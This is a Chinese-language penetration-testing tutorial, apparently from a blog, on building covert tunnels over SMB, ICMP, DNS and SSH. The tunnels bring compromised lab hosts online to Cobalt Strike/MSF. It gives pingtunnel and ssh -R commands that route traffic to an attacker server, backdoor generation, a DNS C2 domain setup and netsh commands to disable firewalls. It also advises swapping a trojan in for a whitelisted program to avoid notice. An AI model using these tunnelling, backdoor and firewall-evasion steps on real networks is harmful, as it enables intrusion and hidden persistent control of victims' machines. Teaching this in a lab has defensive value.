本篇文章将介绍在内网攻防中的隧道技术。
本篇涉及的隧道技术:
ICMP,SMB,DNS,SSH
通过这些协议搭建隧道可以解决流量出网的问题,这样做的好处就是可以把已得到权限的主机上线到MSF/CS上面实现持久化控制。
隧道技术是解决流量不出网的问题,利用可以出网的协议封装出网,它通过在原有的网络协议上封装和封装数据包,使得数据能够在两个网络之间进行传输。
隧道技术是一种网络通信的技术手段,用于在不同的网络之间建立安全、可靠的通信连接。它可以扩展网络、穿越防火墙和NAT、提供加密和安全性,是实现VPN等网络功能的重要组成部分。
隧道穿越防火墙:在面对防火墙限制时,隧道技术可以帮助绕过这些限制,使得内部网络能够与外部网络进行通信。它通过将数据封装在可通过防火墙的通信协议上进行传输,达到穿越限制的效果。
比如,防火墙出站设置严格,仅允许ICMP协议通过,我们可以把TCP协议的数据封装进入ICMP协议来出防火墙,实现流量出网。
隧道技术的两个作用
我们基本不需要关注第二种作用,因为这些在通讯上的应用往往都比较苛刻,主要在网络这一块应用比较多,在内网安全测试中,主要作用是通过隧道移交权限。
所以有必要声明,文中的实验环境的主机均是取得了系统权限
隧道技术对比代理技术:
建立隧道的流程
在上一篇代理技术文章中:内网安全:代理技术详解
演示了正向连接技术实验,但是有粉丝朋友私信希望可以演示一下反向连接技术,那肯定是要安排!!!
有必要说明一下为什么不推荐使用反向连接的原因:
考虑到在同等条件下,使用隧道技术来替代反向连接更优秀,原因是使用隧道更加隐蔽也能达到上线的效果,而且这些协议搭建的隧道除了SMB协议基本都是反向连接的。
网段情况:Vmware配置网络
攻击机:47.94.236.117
靶机:
win 7:内网唯一可出网主机 也可对内网192.168.11.* 网段主机进行通讯
192.168.1.119 (外网的出口)192.168.11.128(内网Vmware2)
win 10:内网主机 流量不出网
192.168.11.129(内网Vmware2)192.168.22.130(内网Vmware3)
win 2008:内网主机 流量不出网
192.168.22.131(内网Vmware3)192.168.33.129(内网Vmware4)
win 2012:内网主机 流量不出网
192.168.33.130(内网Vmware4)
在win 2008服务器上开启了防火墙,只允许 80 端口 TCP进行通讯
入站限制严格,不可访问外网
在win 2012服务器上开启防火墙,只允许访问打印机
入站限制严格,不可访问外网
而且MSF/CS的木马走的都是TCP的协议,因为正向连接完全堵死!
在这张网络拓扑图中,我们已经取得win7,win10权限,接下来将主要目标是拿下win2008 win 2012
出站策略宽松,可以选择TCP协议反向连接
在CS上选择和win10的会话
设置监听器,IP-win10:192.168.22.130 PORT:4444
拓扑图
首先,看到win2012入站严格,出站宽松,第一想法肯定是在Win2012上反向连接到win2018上上线CS。但是需要主要到win2008的入站规则严格,从win2012上的流量走向win2008对win2008主机是正向的,是要触发入站规则的。
但是主要到win2012的入站规则里面允许通过访问打印机,可以利用SMB协议建立正向连接来实现win2012流量出网
如何判断?
使用CS直接扫描对方网段的主机的445端口即可,注意在内网要别动静太大
SMB(Server Message Block)协议是一种在计算机网络中共享文件、打印机和其他资源的通信协议。它最初由微软开发,用于在局域网中的计算机之间共享文件和资源,445端口运行
查看win2012的网络连接信息 netstat -ano
445端口开放,开启了SMB服务
判断:进行网络扫描看看有没445端口开放
创建监听器
生成后门
配置监听器
选择会话
拓扑图
这是通过横向移动拿下对方主机权限后搭建SMB协议隧道完成上线控制,通过SMB协议搭建的隧道完成对方流量出网,在CS处上线进行持久化控制。
判断:ping 命令走的就是ICMP协议
ICMP协议搭建隧道的实验在前面已经做过,可以参考这篇文章:
ICMP(Internet Control Message Protocol,互联网控制报文协议)是一种用于在IP网络中传递控制消息的协议。它是IP协议的一个补充,用于提供网络诊断、错误报告和网络管理等功能。以下是关于ICMP协议的一些重要特点:
ICMP协议在互联网中扮演着重要的角色,它提供了诊断和管理网络的能力,使得网络管理员能够监测和排除网络问题。同时,ICMP也为网络设备之间的通信提供了一种可靠的机制。
CS端配置两个监听器
监听器1:IP:127.0.0.1 PORT:6666
监听器2:IP:192.168.46.66 PORT:7777
使用监听器1生成后门,上传到靶机并执行
同时被攻击机执行这条指令
pingtunnel.exe -type client -l 127.0.0.1:6666 -s 192.168.46.66 -t 192.168.46.66:7777 -tcp 1 -noprint 1 -nolog 1
靶机会把访问攻击机的TCP流量发到自己本地6666端口并封装进ICMP协议再进行发出
攻击机上运行
./pingtunnel -type server
先对收到的ICMP取出TCP流量,完成靶机上线CS!!!
工具地址:GitHub - esrrhs/pingtunnel: Pingtunnel is a tool that send TCP/UDP traffic over ICMP
判断:nslookup www.baidu.com 能返会结果,说明DNS可以出网
DNS属于是应用层协议,但是DNS在不同情况下使用的协议不同
DNS在区域传输时使用TCP,域名解析使用UDP
防火墙上禁用的是TCP,DNS协议搭建隧道利用的是域名解析,所以使用的是UDP
DNS(Domain Name System,域名系统)是互联网上用于将域名(例如www.example.com)转换为对应的IP地址的协议。它充当了互联网的“电话簿”,提供了域名与IP地址之间的映射关系。
以下是关于DNS协议的一些重要特点:
DNS协议在互联网中扮演了重要的角色,它使得用户可以使用易记的域名访问网站,而不需要记住复杂的IP地址。同时,DNS也为互联网的安全性和可靠性提供了基础支持。
在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。但其本质问题是,预期的返回结果应该是一个IP地址,而事实上不是一返回的可以是任意字符串,包括加密的 C&C指令 (管理僵尸网络进行APT攻击的指令)
需要准备一个域名并配置两条NS解析,NS解析将子域名指定其它DNS解析
当解析ns1.whgojp.top域名就会让DNS解析cs.whgojp.top,最终解析为一个IP
这个IP是我们CS服务器的地址
使用这个监听器生成后门,上传对方服务器并执行
点击进去输入命令,建立DNS联系
上线CS
DNS协议也有在通讯方面的应用,但是个人感觉太鸡肋,因为实现DNS通讯需要权限,都有高权限了直接上线即可,还建立什么通讯。所以这种通讯在内网渗透没有什么价值,在内网穿透可能有些价值。
CS上无法使用这个隧道技术进行上线,想要使得Linux上线需要使用别的工具。
但是SSH隧道在通讯上具有一定的意义
SSH(Secure Shell,安全外壳协议)是一种用于在不安全网络上安全地进行远程登录和数据传输的网络协议。它通过加密通信和身份验证机制,提供了保密性、完整性和身份认证等安全功能。以下是关于SSH协议的一些重要特点:
SSH协议是一种广泛使用的安全协议,适用于远程管理、文件传输、远程终端访问等场景。它提供了强大的安全性和可靠性,使得远程计算机之间的通信变得更加安全和便捷。
已经拿下了Linux主机的权限,借助Linux主机搭建SSH隧道探针Linux所在的内网
Linux开启SSH协议登录:
vi /etc/ssh/sshd_config
PermitRootLogin yes
PasswordAuthentication yes
/etc/init.d/ssh start
/etc/init.d/ssh restart
这个隧道搭建的意义就在于可以实现对内网的探针
将本地访问1.16 8080端口的流量发给47.94.236.117 1234端口上
ssh -CfNg -R 1122:192.168.1.16:8080 root@47.94.236.117
这个需要公网服务器的密码,利用条件很低
公网服务器访问本地1234端口
将本地访问1.16 8080端口的流量转发至本地1122端口
ssh -CfNg -L 1122:192.168.1.16:8080 root@192.168.1.166
在这台Linux上访问本地1122端口即可
项目地址:GitHub - gloxec/CrossC2: generate CobaltStrike's cross-platform payload
面向Linux Mac IOS Android系统上线支持
插件使用,命令使用
使用参考:https://gloxec.github.io/CrossC2/zh_cn/
根据CS服务系统类型选择插件,我的是Linux,下载Linux即可
上传至你的CS目录下
还有这两个文件,从CS客户端加载,在windows上加载
目前支持反向的HTTPS和正向的TCP
创建监听器
反向上线
在CS上有这个文件
生成后门,在system处可以选择系统
服务端生成后门文件
上线
通过程序进行上线,更方便一些
当我们拿下服务器权限后,防火墙过滤极端严格,隧道不管用,还有办法,选择干掉防火墙。当然风险还是很大的。
可以直接关闭防火墙,删除规则,或者替换
建议尝试替换,动静较小,有的程序把自己放入白名单中,替换程序
可以把木马与程序进行替换
防火墙相关命令:
查看当前防火墙状态:netsh advfirewall show allprofiles
关闭防火墙:netsh advfirewall set allprofiles state off
开启防火墙:netsh advfirewall set allprofiles state on
恢复初始防火墙设置:netsh advfirewall reset
启用桌面防火墙: netsh advfirewall set allprofiles state on
设置默认输入和输出策略:netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound
如果设置为拒绝使用blockinbound,blockoutbound